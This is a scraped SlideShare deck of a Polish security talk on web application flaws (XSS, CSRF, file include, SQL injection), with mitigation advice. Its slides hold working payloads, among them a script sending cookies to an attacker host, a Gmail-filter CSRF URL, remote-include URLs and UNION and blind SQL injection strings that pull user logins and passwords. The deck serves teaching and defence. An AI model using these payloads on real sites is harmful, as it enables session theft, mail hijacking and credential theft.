SlideShare una empresa de Scribd logo
1 de 98
Descargar para leer sin conexión
Drobne błędy w portalach
         WWW
 prawdziwe studium przypadku ;-)


  Borys Łącki
  Michał Sobiegraj, CISSP



    Czemu WWW
     jest ważne?
M


    WWW jest wszędzie




M




     Wydajemy pieniądze
     Zarządzamy finansami
     Zarabiamy pieniądze
     Marnujemy czas

M

                    Ruch w Internecie




http://www.ellacoya.com/news/pdf/2007/NXTcommEllacoyaMediaAlert.pdf
M





                2007:
         ilośd ruchu WWW
    przekroczyła ilośd ruchu P2P


M

    WWW pokonało pr0n! YAY!*




          * nie poparte żadnymi badaniami
M

                     Typy ruchu HTTP




http://www.ellacoya.com/news/pdf/2007/NXTcommEllacoyaMediaAlert.pdf
M

    Wzrost ilości hostów w sieci
     Ponad 60 mln aktywnych
               (netcraft)




M


    Bezpieczeostwo
        WWW
       w skrócie
M



    Odkryte podatności WWW
     przewyższają ilościowo
       wszystkie pozostałe
              (Sans)




M


             Czemu?
     Bardzo popularne medium ($)
     Niedojrzałośd technologii
     Błędy logiczne
     Chałupnicze rozwiązania

M

       Amerykaoskie ofiary
           phishingu

      3,6 miliona osób, które
    straciły łącznie 3,2 miliarda
               dolarów
        (Gartner, http://www.heise-online.pl/news/item/2356/)

M

    Standardowa architektura aplikacji WWW

                         Internet




                      Warstwa WWW

                 (filtry wejścia/wyjścia)
                     Warstwa Aplikacji

                   (logika biznesowa)

                     Serwer Baz Danych

M

                                              Źle!

                        Internet




         Warstwa WWW

    (filtry wejścia/wyjścia)
                                           Nowa
                                       funkcjonalnośd
        Warstwa Aplikacji

      (logika biznesowa)

                   Serwer Baz Danych

M
Firewall vs. właściwe                           
    projektowanie, kodowanie i SDLC
                        Internet




                  Firewall Aplikacyjny

         Warstwa WWW

    (filtry wejścia/wyjścia)
                                             Nowa
                                         funkcjonalnośd
        Warstwa Aplikacji

      (logika biznesowa)

                   Serwer Baz Danych

M

                                       Optymalnie

                      Internet




                Firewall Aplikacyjny

                  Warstwa WWW

            (filtry wejścia/wyjścia)
      Warstwa Aplikacji
                                             Nowa
                                         funkcjonalnośd
    (logika biznesowa)

                 Serwer Baz Danych

M


        Najczęstsze ataki
     PHP Remote File Include
     SQL Injection
     Cross-Site Scripting
     Cross-site Request Forgery
        (SANS Top-20 2007 Security Risks, 2007 Annual Update)

M




    Wyciek informacji

B





    Wesoła historyjka ;-)



B





    Więcej obrazków hmm…
B





B





    :-D
B

    Kopiujemy…




B




    Łączymy się…




B





    PWND ;-)
B

     Wniosek?

    Bezpieczeostwo wymaga
     specyficznego sposobu
            myślenia
            (Paranoi? ;-)
B




    Ograniczenie dostępu po stronie klienta
     Możliwośd obejścia interfejsu
     W kontraście z bankomatem

                Nieskuteczne!



B

    Ograniczenie dostępu po stronie klienta
       RSS z identyfikacją ID klienta
        serwer.tld/rss/100_rss.xml
        serwer.tld/rss/101_rss.xml
        serwer.tld/rss/102_rss.xml
       Czytanie cudzych wiadomości
        serwer.tld/index.php?p=ok&action=msgs2&msgs_id=80
        serwer.tld/index.php?p=ok&action=msgs2&msgs_id=81
        serwer.tld/index.php?p=ok&action=msgs2&msgs_id=82


B





    Kontrola dostępu po
      stronie serwera


B


    Cross-Site
    Scripting
      (XSS)
B

                                                       Reflective XSS
    Serwer
                     http://serwer/index.php?id=<script>…</script>




                 GET /index.php?
                 id=<script>…</script>
                 HTTP/1.1

    Aplikacja                                                         Intruz
     WWW                                  Użytkownik
                …<script>…</script>…
                                         exec(…)

                                                      Dane dostępne
                                                      w kontekście
                                                      użytkownika




B


    Przykładowy kod XSS
    document.write(‘
        <img src=„
           http://intruz.tld/cookiemonster.gif
    ?’+escape(document.cookie) +’ ”>
    ’);




B

    Zmiana treści za pomocą XSS




M

    Zmiana treści za pomocą XSS




B

              Rebranding za pomocą XSS
    http://strona.tld/topics/%3Cscript%3Eeval(String.fromCharCode(100,111,99,117,
    109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,66,121,73,100,40,
    34,108,111,103,111,34,41,46,105,110,110,101,114,72,84,77,76,61,34,60,105,10
    9,103,32,115,114,99,61,39,104,116,116,112,58,47,47,119,119,119,46,101,122,1
    11,116,101,114,105,107,97,46,112,108,47,105,109,97,103,101,115,47,115,109,1
    05,108,101,121,46,103,105,102,39,62,34));%3C%252fscript%3E



     document.getElementById("logo").innerHTML=
    "<img src='http://www.str.tld/images/smiley.gif'>"


M

        Tak to wygląda w kodzie strony
    ...
    <div id="maincontent">
    <h2>Results for: <span style="color:
    #f00;"><script>eval(String.fromCharCode(100,111,99,117,109,101
    ,110,116,46,103,101,116,69,108,101,109,101,110,116,66,121,73,1
    00,40,34,108,111,103,111,34,41,46,105,110,110,101,114,72,84,77
    ,76,61,34,60,105,109,103,32,115,114,99,61,39,104,116,116,112,5
    8,47,47,119,119,119,46,101,122,111,116,101,114,105,107,97,46,1
    12,108,47,105,109,97,103,101,115,47,115,109,105,108,101,121,4
    6,103,105,102,39,62,34));</script></span></h2>
    </div>
    ...

M

          Tak wygląda zmieniany kod


    <div id="logo">
          <div class="logolink">
          <a href="http://strona.tld/">strona.tld</a>
          </div>
          ...
    </div>



M

    Kod w przeglądarce




M

    Efekt działania




M

    A wygląda to tak




M

    Zmiana treści za pomocą XSS

     Nie jest permanentna
     Lepszy kod  łatwiej (sic!)

    Pomysł:
    Tak samo wyglądający
    formularz kierujący dane w
    inne miejsce  phishing
B

    Uwierzytelnianie przy pomocy cookies
                POST /login.php HTTP/1.1
                login=user&password=asd12ed]r3

                HTTP/1.1 OK 200
                Set-cookie: user_id=734223s8uod42
                Witaj user
                                                    Użytkownik

                GET /index.php HTTP/1.1
                Cookie: user_id=734223s8uod42
       Serwer
                Witaj user




B

    Wykorzystanie przejętego cookie
             POST /login.php HTTP/1.1
             login=user&password=asd12ed]r3

             HTTP/1.1 OK 200
             Set-cookie: user_id=734223s8uod42
             Witaj user
                                                 Użytkownik

             GET /index.php HTTP/1.1
             Cookie: user_id=734223s8uod42
    Serwer
             Witaj user




             GET /index.php HTTP/1.1
             Cookie: user_id=734223s8uod42
                                                   Intruz
             Witaj user



B

    Kradzież ciastka zawierającego ID sesji

    http://www.serwer.tld/index.php?p=com
    ments&comments_login=smietanka%3Csc
    ript%3Edocument.write(document.cookie)
    %3C/script%3E
    PHPSESSID=gji9h519llgbgbnaqg7si0q1l0;
    __utma=258102041.949163972.1198624259.1198624259.1198624259.1;
    __utmb=258102041; __utmc=258102041;
    __utmz=258102041.1198624259.1.1.utmccn=(direct)|utmcsr=(direct)|utmc
    md=(none)

M





M





M





M

              Jak wysład sobie ciastko?
               XMLHttpRequest
                Problem pomiędzy domenami
               Link
                img, iframe, location.href, etc
    Przykład: <img
    src="http://serwer.tld/cookiemonster.gif?PHPSESSID%3Dgji9h519llgbgbnaqg7
    si0q1l0%3B%20__utma%3D258102041.949163972.1198624259.1198624259.
    1198624259.1%3B%20__utmb%3D258102041%3B%20__utmc%3D25810204
    1%3B%20__utmz%3D258102041.1198624259.1.1.utmccn%3D%28direct%29
    %7Cutmcsr%3D%28direct%29%7Cutmcmd%3D%28none%29">

B

             Co na to poradzid?

     Powiązad ID sesji z IP
     Żądad powtórnego uwierzytelnienia
     Kontrolowad wprowadzane dane !!!
      - Białe listy (ScRipT)
      - Spójnośd (IDS, Firewall, aplikacja)
      - Dogłębnośd (....//  ../), UTF-7

B

               http://serwer.tld/topics/<img
        src=http://www.serw.tld/images/smiley.gif>




    /
M
http://serwer.tld/topics/<img           
    src=http:%2f%2fwww.ezoterika.pl%2fimages%2fsmiley.gif>




      %2f  /
M
http://serwer.tld/topics/<img       
src=http:%252f%252fwww.serwer.tld%252fimages%252fsm
                         iley.gif>




                %252f  %2f  /
M





B

                                                              Stored XSS
       Serwer
                             POST /register.php HTTP/1.1
                             login=<script>…</script>&password=asd
    Aplikacja WWW


                          GET /index.php HTTP/1.1
     <script>…</script>

                                                    Użytkownik
                           …<script>…</script>…                        Intruz
                                                    exec(…)



     Baza danych                                       Dane dostępne
                                                       w kontekście
                                                       użytkownika




B

               Co można zrobid?
     Permanentna zmiana treści
     Łatwa kradzież ID sesji
     CSRF
     XSS Proxy
     Automatyczne robaki
       - mySpace, Orkut, Nduja, Borys
    Łatwe ;] w serwisach pozwalających publikowad własną
    treśd:
        - aukcyjne, blogi, fora, etc
B




    Kradzież ID sesji




B

                                                     XSS Worm
    Serwer WWW
                      Zapisuje XSS w swoim profilu


    Intruz      XSS



         …
                                                          Intruz



       User_1




       User_2


B

                                                             XSS Worm
    Serwer WWW
                              Zapisuje XSS w swoim profilu

                      GET /intruz/ HTTP/1.1        User_1
    Intruz      XSS
                      …<script>…</script>…


         …                                     exec(…)
                         Zapisuje XSS w
                         swoim profilu
                                                                  Intruz



    User_1      XSS




       User_2


B

                                                          XSS Worm
    Serwer WWW
                           Zapisuje XSS w swoim profilu

                   GET /intruz/ HTTP/1.1        User_1
    Intruz   XSS
                   …<script>…</script>…
                                                 User_2
         …
                      Zapisuje XSS w        exec(…)
                      swoim profilu
                                                               Intruz


                    GET /user1/ HTTP/1.1
    User_1   XSS
                    …<script>…</script>…


                        Zapisuje XSS w
                                               exec(…)
    User_2   XSS        swoim profilu


B

                Nduja – A Cross Domain/Webmail XSS Worm


    Intruz
                         E-mail                E-mail              E-mail

    E-mail



             Serwer               Serwer                Serwer               Serwer
             WWW                  WWW                   WWW                  WWW

             WebMail              WebMail               WebMail             WebMail



             Libero.it            Tiscali.it            Lycos.it            Excite.com



B

             Co na to poradzid?
     Powiązad ID sesji z IP
     Żądad powtórnego uwierzytelnienia
     Kontrolowad wprowadzane dane
     - Białe listy (ScRipT)
     - Spójnośd (IDS, Firewall, aplikacja)
     - Dogłębnośd (....//  ../), UTF-7
     Filtrowad dane zapisywane do bazy
     i odczytywane z bazy
B


       Cross-Site
    Request Forgery
         (CSRF)
B

                                                                          CSRF
     Serwer
                                         http://serwer/delete.php?id=34

    Aplikacja
     WWW

                  GET /delete.php?id=34 HTTP/1.1
                  Cookie: user_id=734223s8uod42
    …
    id = 34;                                                               Intruz
    delete(id);                                      Użytkownik
    …
                         Wpis usunięty




M





    <img src=„http://nasza-
    klasa.pl/invite/1?i=1”>
     (/var/log/apache/cba_ipn_zus_access.log)




B


       Przejęcie wiadomości z Gmail (CSRF)

http://www.gnucitizen.org/util/csrf?_method=POST&_enctype=multip
art/form-data&_action=https%3A//mail.google.com/mail/h/
wt1jmuj4ddv/%3Fv%3Dprf&cf2_emc=true&cf2_email=evilinbox@maili
nator.com&cf1_from&cf1_to&cf1_subj&cf1_has&cf1_hasnot&cf1_atta
ch=true&tfi&s=z&irf=on&nvp_bu_cftb=Create%20Filter

           „Konto na Gmailu każdy z nas ma. Mam i ja!”

             (Kradzież domeny: www.davidairey.co.uk)


B

                 Co na to poradzid?
     POST zamiast GET
       obejście: iframe, javascript
     Referer
       problemy: proxy, przeglądarki, zmiana nagłówka
     Generowane tymczasowego dodatkowego ID
     Powiązanie ID użytkownika z długim losowym
    ciągiem
       Trzymane po stronie serwera
     Wymaganie ponownej autoryzacji przy
    kluczowych operacjach
     Brak błędów XSS (XmlHttpRequest)!!!
B




    PHP File Include

B
Local File Include                               

    • podgląd plików (konfiguracyjnych!)
    • wykonanie kodu, jeśli jest możliwośd wgrania pliku na
    serwer
    • dostęp do kodu źródłowego

       <?php
       if(file_exists("includes/$page.inc")) {
         include "includes/$page.inc";
       } else {
         echo "W budowie!<BR>";
       }

http://XXXXX.art.pl/p.php?page=../../../../../../../../../home/user1/publi
                        c_html/.htpasswd%00
B

                                 Remote File Include

     wykonanie kodu
    <?php
    include($mosConfig_absolute_path."/administrator/components
    /com_hashcash/config.hashcash.php");
    require_once
    ($mosConfig_absolute_path.'/components/com_hashcash/CryptoS
    trategy.php');

http://strona.tld/components/com_hashcash/server.php?mosConfig_a
              bsolute_path=http://zuozuozuo.pl/evil.txt?
    access_log:62.48.xxx.xx - - [06/Jan/2008:07:11:06 +0100] "GET
    //install/index.php?G_PATH=http://www.js2023.pl//modules/PNphpBB2/images/.bash/pr.txt? HTTP/1.1"
    404 1021 "-" "libwww-perl/5.803„

    access_log:168.212.xxx.xxx - - [06/Jan/2008:22:57:53 +0100] "GET
    /files/strawberry/plugins/wacko/highlight/html.php?text=http://www.nakedarena.com/id.txt?
    HTTP/1.1" 404 1021 "-" "libwww-perl/5.76"
B

                Co z tym zrobid?
     konfiguracja po stronie php.ini
       allow_url_fopen = Off
       allow_url_include = Off
       register_global = Off
       safe_mode = On
       register_globals = Off
       safe_mode_gid = Off
       display_errors = Off
       log_errors = On
       error_log = /var/log/httpd/php_error.log
       disable_functions = system, shell_exec, exec, passthru

     uważad na specjalne znaki (null byte, etc)
     filtrowad, filtrowad i jeszcze raz filtrowad
     (../, UTF, itd.)
     inne: mod_security, Suhosin PHP

B




    SQL Injection

M

                                                              SQL Injection
       Serwer
                              GET /login.php HTTP/1.1
                              login=admin&password=1’ or 1=‘1
    Aplikacja WWW

                                                                         Intruz
     select * from users where login=‘admin’ and pass=‘1’ or 1=‘1’


                              Welcome admin



                                  $dane = db_exec(„select from users where
     Baza danych                  login=‘$login’ and pass=‘$pass’”)
                                  if ($dane.count) {
                                            print („Welcome $login”)
                                            …
                                  } else {
                                            print („Bye”);
                                            exit (0);
                                  }
M
POST http://www.serwer.tld/index.php?p=priv HTTP/1.1
                                                              
    priv_search=2e332424&cat='"1&w_city="'asd&submit=Szukaj




M
priv_search=&cat=1&w_city=Ca%B3a+Polska' and
                                                   
    1=1#&submit=Szukaj




M

    priv_search=&cat=1&w_city=Ca%B3a+Polska' and
    1=0#&submit=Szukaj




M

       priv_search=&cat=1&w_city=Ca%B3a+Polska'
       union all select @@version#&submit=Szukaj




    The used SELECT statements
      have a different number
            of columns

M

    priv_search=&cat=1&w_city=Ca%B3a+Polska' union all select
    1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,@@version#&submi
    t=Szukaj




M

    priv_search=&cat=1&w_city=Ca%B3a+Polska' union all select
    1,2,3,4,5,6,7,8,9,10,@@version,12,13,14,15,16,17,18#&submi
    t=Szukaj




M
priv_search=&cat=1&w_city=Ca%B3a+Polska' union all select   
    1,2,3,TABLE_SCHEMA,5,6,7,8,9,10,TABLE_NAME,12,COLUMN_
    NAME,14,15,16,17,18 from information_schema.columns
    where TABLE_SCHEMA != 'mysql' and TABLE_SCHEMA !=
    'information_schema'#&submit=Szukaj




M
priv_search=&cat=1&w_city=Ca%B3a+Polska' union all select
                                                                
    1,2,3,login,5,6,7,8,9,10,pass,12,sex,14,15,16,17,18 from
    users#&submit=Szukaj




M

    Przy okazji wychodzą na jaw
           TAJEMNICE ;-)




M
Bonusowe odkrycie:
                           
    1836 botów :-)




M

    Blind SQL Injection




               Formularz rejestracyjny:


B
                          ‘

            Blind SQL Injection
     1' and 1='0
           OK.
     1' or 1='1
           Taki email już jest zarejestrowany
             w serwisie. Musisz podad inny
     1' union all SELECT IF( user() like '%sig%',
     BENCHMARK(3000000,MD5( 'x' )),NULL)#
           opóźnienie  user() == sig@...
     1' union all SELECT IF( user() like '%asd%',
     BENCHMARK(3000000,MD5( 'x' )),NULL)#
           brak opóźnienia
B





B





B

               Blind SQL Injection

    • /zgoda.php?id=155765%20AND%20(select%2
      0ascii(substring((select%20login%20from%20a
      dmini%20limit%201,1),1,1)))%3D97

    • id=155765 AND (select ascii(substring((select
      login from admini limit LINIA,1), MIEJSCE, 1)))
      =ZNAK_ASCII

B

     Wyniki blind SQL Injection


     Opóźnienie
     Treśd
     Komunikat błędu

B

              Co na to poradzid?

     Filtrowad wprowadzane dane
     - Białe listy znaków
     - Spójnośd (IDS, Firewall, aplikacja,
        baza danych)
     Nie ufad filtrom po stronie
      użytkownika (listy wyboru, JavaScript)

M




    Podsumowanie

M

     Z bezpieczeostwem WWW jest źle




    Błędy są wszędzie* wokół nas


                *no prawie wszędzie ;-)
M

               Co zrobid?

    Koniecznie filtrowad wprowadzane i
           wyprowadzane dane

             Firewalle aplikacyjne
             IDSy



                  Białe listy!


M

      Byd świadomym potencjalnych
          zagrożeo i problemów

     Słuchad i pytad
     Korzystad z pomocy specjalistów
     Bilansowad koszty z zyskami

          każdy feedback jest dobry

M

             Używad sprawdzonych
                  rozwiązao
    • Odpowiedzią na tradycyjne błędy jest kod
      zarządzany, automatyczne typowanie, GC, itp.
    • Odpowiedzią na błędy w kodowaniu WWW są
      frameworki
      – Pozwalają na zachowanie pewnej jakości kodu
      – Nie jesteśmy w 100% bezpieczni
         » Jeszcze nie są wystarczająco dojrzałe
         » Nie wszyscy wiedzą jak z nich korzystad
         » Bywają rozszerzane "na głupa"
         » Efekt skali powoduje, że błędy propagują się szeroko
M

                   Hardening

          Poprawna konfiguracja jest
              niezwykle istotna

    Jedna dyrektywa w php.ini może zablokowad
          wykorzystanie błędu w aplikacji
                            PHP:
                http://www.sans.org/top20/#s1




M

           Myślenie


Nikt ani nic nie ustrzeże nas
  przed skutkami błędów
         logicznych

M
michal@sobiegraj.com
       b.lacki@logicaltrust.net




Pytania?

Más contenido relacionado

Similar a Drobne błędy w portalach WWW -- prawdziwe studium przypadku

Jak podwoić wartość kodu .NET?
Jak podwoić wartość kodu .NET?Jak podwoić wartość kodu .NET?
Jak podwoić wartość kodu .NET?javOnet
 
PLNOG 17 - Maciej Flak - Cisco Cloud Networking - czyli kompletna infrastrukt...
PLNOG 17 - Maciej Flak - Cisco Cloud Networking - czyli kompletna infrastrukt...PLNOG 17 - Maciej Flak - Cisco Cloud Networking - czyli kompletna infrastrukt...
PLNOG 17 - Maciej Flak - Cisco Cloud Networking - czyli kompletna infrastrukt...PROIDEA
 
Co z bezpieczeństwem aplikacji mobilnych? - studium przypadków (KrakWhiteHat ...
Co z bezpieczeństwem aplikacji mobilnych? - studium przypadków (KrakWhiteHat ...Co z bezpieczeństwem aplikacji mobilnych? - studium przypadków (KrakWhiteHat ...
Co z bezpieczeństwem aplikacji mobilnych? - studium przypadków (KrakWhiteHat ...Logicaltrust pl
 
Silverlight i PHP - jak budować interfejs nowoczesnych aplikacji internetowych?
Silverlight i PHP - jak budować interfejs nowoczesnych aplikacji internetowych?Silverlight i PHP - jak budować interfejs nowoczesnych aplikacji internetowych?
Silverlight i PHP - jak budować interfejs nowoczesnych aplikacji internetowych?PHPCon Poland
 
Urządzenia i usługi bezpieczeństwa IT - pełna ochrona czy... zaproszenie dla ...
Urządzenia i usługi bezpieczeństwa IT - pełna ochrona czy... zaproszenie dla ...Urządzenia i usługi bezpieczeństwa IT - pełna ochrona czy... zaproszenie dla ...
Urządzenia i usługi bezpieczeństwa IT - pełna ochrona czy... zaproszenie dla ...Logicaltrust pl
 
Owasp Top10 2010 RC1 PL
Owasp Top10 2010 RC1 PLOwasp Top10 2010 RC1 PL
Owasp Top10 2010 RC1 PLThink Secure
 
Bezpieczenstwo Portali Spolecznosciowych W Ujeciu Robakow Web 20 Pingwinaria2009
Bezpieczenstwo Portali Spolecznosciowych W Ujeciu Robakow Web 20 Pingwinaria2009Bezpieczenstwo Portali Spolecznosciowych W Ujeciu Robakow Web 20 Pingwinaria2009
Bezpieczenstwo Portali Spolecznosciowych W Ujeciu Robakow Web 20 Pingwinaria2009Logicaltrust pl
 
Programowanie aplikacji dla Windows 8 (WinRT)
Programowanie aplikacji dla Windows 8 (WinRT)Programowanie aplikacji dla Windows 8 (WinRT)
Programowanie aplikacji dla Windows 8 (WinRT)Bartlomiej Zass
 
Artur Żarski, PHP na Windows
Artur Żarski, PHP na WindowsArtur Żarski, PHP na Windows
Artur Żarski, PHP na WindowsWebhosting.pl
 
PLNOG 21: Krzysztof Mazepa - Transformacja_poprzez_innowacje
PLNOG 21: Krzysztof Mazepa - Transformacja_poprzez_innowacjePLNOG 21: Krzysztof Mazepa - Transformacja_poprzez_innowacje
PLNOG 21: Krzysztof Mazepa - Transformacja_poprzez_innowacjePROIDEA
 
PHP5. Bezpieczne programowanie. Leksykon kieszonkowy
PHP5. Bezpieczne programowanie. Leksykon kieszonkowyPHP5. Bezpieczne programowanie. Leksykon kieszonkowy
PHP5. Bezpieczne programowanie. Leksykon kieszonkowyWydawnictwo Helion
 
PLNOG19 - Sebastian Pasternacki - Wykrywanie złośliwego kodu
PLNOG19 - Sebastian Pasternacki - Wykrywanie złośliwego koduPLNOG19 - Sebastian Pasternacki - Wykrywanie złośliwego kodu
PLNOG19 - Sebastian Pasternacki - Wykrywanie złośliwego koduPROIDEA
 
Sześć sposobów na przejęcie sieci przemysłowej w twojej firmie
Sześć sposobów na przejęcie sieci przemysłowej w twojej firmieSześć sposobów na przejęcie sieci przemysłowej w twojej firmie
Sześć sposobów na przejęcie sieci przemysłowej w twojej firmieSecuRing
 
Optymalizacja hostingu
Optymalizacja hostinguOptymalizacja hostingu
Optymalizacja hostinguDivante
 
Microservieces and their communication (RabbitMQ/SIDEKIQ)
Microservieces and their communication (RabbitMQ/SIDEKIQ)Microservieces and their communication (RabbitMQ/SIDEKIQ)
Microservieces and their communication (RabbitMQ/SIDEKIQ)infakt
 
Seminarium - Tworzenie Aplikacji Mobilnych 2004
Seminarium - Tworzenie Aplikacji Mobilnych 2004Seminarium - Tworzenie Aplikacji Mobilnych 2004
Seminarium - Tworzenie Aplikacji Mobilnych 2004Tomasz Cieplak
 

Similar a Drobne błędy w portalach WWW -- prawdziwe studium przypadku (20)

Jak podwoić wartość kodu .NET?
Jak podwoić wartość kodu .NET?Jak podwoić wartość kodu .NET?
Jak podwoić wartość kodu .NET?
 
PLNOG 17 - Maciej Flak - Cisco Cloud Networking - czyli kompletna infrastrukt...
PLNOG 17 - Maciej Flak - Cisco Cloud Networking - czyli kompletna infrastrukt...PLNOG 17 - Maciej Flak - Cisco Cloud Networking - czyli kompletna infrastrukt...
PLNOG 17 - Maciej Flak - Cisco Cloud Networking - czyli kompletna infrastrukt...
 
Co z bezpieczeństwem aplikacji mobilnych? - studium przypadków (KrakWhiteHat ...
Co z bezpieczeństwem aplikacji mobilnych? - studium przypadków (KrakWhiteHat ...Co z bezpieczeństwem aplikacji mobilnych? - studium przypadków (KrakWhiteHat ...
Co z bezpieczeństwem aplikacji mobilnych? - studium przypadków (KrakWhiteHat ...
 
TGT#20 - Ataki XSS - Robert Charewicz
TGT#20 - Ataki XSS - Robert CharewiczTGT#20 - Ataki XSS - Robert Charewicz
TGT#20 - Ataki XSS - Robert Charewicz
 
Silverlight i PHP - jak budować interfejs nowoczesnych aplikacji internetowych?
Silverlight i PHP - jak budować interfejs nowoczesnych aplikacji internetowych?Silverlight i PHP - jak budować interfejs nowoczesnych aplikacji internetowych?
Silverlight i PHP - jak budować interfejs nowoczesnych aplikacji internetowych?
 
Silverlight i PHP
Silverlight i PHPSilverlight i PHP
Silverlight i PHP
 
Urządzenia i usługi bezpieczeństwa IT - pełna ochrona czy... zaproszenie dla ...
Urządzenia i usługi bezpieczeństwa IT - pełna ochrona czy... zaproszenie dla ...Urządzenia i usługi bezpieczeństwa IT - pełna ochrona czy... zaproszenie dla ...
Urządzenia i usługi bezpieczeństwa IT - pełna ochrona czy... zaproszenie dla ...
 
Owasp Top10 2010 RC1 PL
Owasp Top10 2010 RC1 PLOwasp Top10 2010 RC1 PL
Owasp Top10 2010 RC1 PL
 
Responsive Web Design - Michał Rachowski Squiz
Responsive Web Design - Michał Rachowski SquizResponsive Web Design - Michał Rachowski Squiz
Responsive Web Design - Michał Rachowski Squiz
 
Bezpieczenstwo Portali Spolecznosciowych W Ujeciu Robakow Web 20 Pingwinaria2009
Bezpieczenstwo Portali Spolecznosciowych W Ujeciu Robakow Web 20 Pingwinaria2009Bezpieczenstwo Portali Spolecznosciowych W Ujeciu Robakow Web 20 Pingwinaria2009
Bezpieczenstwo Portali Spolecznosciowych W Ujeciu Robakow Web 20 Pingwinaria2009
 
Programowanie aplikacji dla Windows 8 (WinRT)
Programowanie aplikacji dla Windows 8 (WinRT)Programowanie aplikacji dla Windows 8 (WinRT)
Programowanie aplikacji dla Windows 8 (WinRT)
 
Artur Żarski, PHP na Windows
Artur Żarski, PHP na WindowsArtur Żarski, PHP na Windows
Artur Żarski, PHP na Windows
 
PLNOG 21: Krzysztof Mazepa - Transformacja_poprzez_innowacje
PLNOG 21: Krzysztof Mazepa - Transformacja_poprzez_innowacjePLNOG 21: Krzysztof Mazepa - Transformacja_poprzez_innowacje
PLNOG 21: Krzysztof Mazepa - Transformacja_poprzez_innowacje
 
PHP5. Bezpieczne programowanie. Leksykon kieszonkowy
PHP5. Bezpieczne programowanie. Leksykon kieszonkowyPHP5. Bezpieczne programowanie. Leksykon kieszonkowy
PHP5. Bezpieczne programowanie. Leksykon kieszonkowy
 
PLNOG19 - Sebastian Pasternacki - Wykrywanie złośliwego kodu
PLNOG19 - Sebastian Pasternacki - Wykrywanie złośliwego koduPLNOG19 - Sebastian Pasternacki - Wykrywanie złośliwego kodu
PLNOG19 - Sebastian Pasternacki - Wykrywanie złośliwego kodu
 
Sześć sposobów na przejęcie sieci przemysłowej w twojej firmie
Sześć sposobów na przejęcie sieci przemysłowej w twojej firmieSześć sposobów na przejęcie sieci przemysłowej w twojej firmie
Sześć sposobów na przejęcie sieci przemysłowej w twojej firmie
 
Optymalizacja hostingu
Optymalizacja hostinguOptymalizacja hostingu
Optymalizacja hostingu
 
Microservieces and their communication (RabbitMQ/SIDEKIQ)
Microservieces and their communication (RabbitMQ/SIDEKIQ)Microservieces and their communication (RabbitMQ/SIDEKIQ)
Microservieces and their communication (RabbitMQ/SIDEKIQ)
 
Seminarium - Tworzenie Aplikacji Mobilnych 2004
Seminarium - Tworzenie Aplikacji Mobilnych 2004Seminarium - Tworzenie Aplikacji Mobilnych 2004
Seminarium - Tworzenie Aplikacji Mobilnych 2004
 
O danych w 2016
O danych w 2016O danych w 2016
O danych w 2016
 

Más de Logicaltrust pl

Jak cyberprzęstepcy okradają dziś firmy - webinar 2020.06.24
Jak cyberprzęstepcy okradają dziś firmy - webinar 2020.06.24Jak cyberprzęstepcy okradają dziś firmy - webinar 2020.06.24
Jak cyberprzęstepcy okradają dziś firmy - webinar 2020.06.24Logicaltrust pl
 
Security Awareness po polsku - webinar 2019.11.29
Security Awareness po polsku - webinar 2019.11.29Security Awareness po polsku - webinar 2019.11.29
Security Awareness po polsku - webinar 2019.11.29Logicaltrust pl
 
8 zasad skutecznego security awareness
8 zasad skutecznego security awareness8 zasad skutecznego security awareness
8 zasad skutecznego security awarenessLogicaltrust pl
 
Ataki socjotechniczne w praktyce - SecurityBSides Warsaw 2019
Ataki socjotechniczne w praktyce - SecurityBSides Warsaw 2019Ataki socjotechniczne w praktyce - SecurityBSides Warsaw 2019
Ataki socjotechniczne w praktyce - SecurityBSides Warsaw 2019Logicaltrust pl
 
Ataki socjotechniczne w praktyce - Confidence 2019
Ataki socjotechniczne w praktyce - Confidence 2019Ataki socjotechniczne w praktyce - Confidence 2019
Ataki socjotechniczne w praktyce - Confidence 2019Logicaltrust pl
 
Minerva_lib - fuzzing tool
Minerva_lib - fuzzing toolMinerva_lib - fuzzing tool
Minerva_lib - fuzzing toolLogicaltrust pl
 
"Spear phishing - jak się bronić? Case studies." - SecurityBSides 2018
"Spear phishing - jak się bronić? Case studies." - SecurityBSides 2018"Spear phishing - jak się bronić? Case studies." - SecurityBSides 2018
"Spear phishing - jak się bronić? Case studies." - SecurityBSides 2018Logicaltrust pl
 
Spear phishing - jak się bronić? Case studies - Confidence 2018
Spear phishing - jak się bronić? Case studies - Confidence 2018Spear phishing - jak się bronić? Case studies - Confidence 2018
Spear phishing - jak się bronić? Case studies - Confidence 2018Logicaltrust pl
 
Redteaming in Poland - test cases (Security)
Redteaming in Poland - test cases (Security)Redteaming in Poland - test cases (Security)
Redteaming in Poland - test cases (Security)Logicaltrust pl
 
Redteaming w Polsce - przykłady
Redteaming w Polsce - przykładyRedteaming w Polsce - przykłady
Redteaming w Polsce - przykładyLogicaltrust pl
 
Testy bezpieczeństwa - niesztampowe przypadki
Testy bezpieczeństwa - niesztampowe przypadkiTesty bezpieczeństwa - niesztampowe przypadki
Testy bezpieczeństwa - niesztampowe przypadkiLogicaltrust pl
 
Krytyczne błędy konfiguracji
Krytyczne błędy konfiguracjiKrytyczne błędy konfiguracji
Krytyczne błędy konfiguracjiLogicaltrust pl
 
Czy systematyczne podejście do testów bezpieczeństwa się opłaca?
Czy systematyczne podejście do testów bezpieczeństwa się opłaca?Czy systematyczne podejście do testów bezpieczeństwa się opłaca?
Czy systematyczne podejście do testów bezpieczeństwa się opłaca?Logicaltrust pl
 
Torturing the PHP interpreter
Torturing the PHP interpreterTorturing the PHP interpreter
Torturing the PHP interpreterLogicaltrust pl
 
Socjotechnika w Internecie - metody ataku i obrony
Socjotechnika w Internecie - metody ataku i obronySocjotechnika w Internecie - metody ataku i obrony
Socjotechnika w Internecie - metody ataku i obronyLogicaltrust pl
 
Wyciek danych w aplikacjach - Artur Kalinowski, 4Developers
Wyciek danych w aplikacjach - Artur Kalinowski, 4DevelopersWyciek danych w aplikacjach - Artur Kalinowski, 4Developers
Wyciek danych w aplikacjach - Artur Kalinowski, 4DevelopersLogicaltrust pl
 
OWASP Mobile TOP 10 na przykładzie aplikacji bankowych - Semafor 2016 - Mateu...
OWASP Mobile TOP 10 na przykładzie aplikacji bankowych - Semafor 2016 - Mateu...OWASP Mobile TOP 10 na przykładzie aplikacji bankowych - Semafor 2016 - Mateu...
OWASP Mobile TOP 10 na przykładzie aplikacji bankowych - Semafor 2016 - Mateu...Logicaltrust pl
 
Bezpieczeństwo informacji - edukacja pracowników - dlaczego robimy to źle? Se...
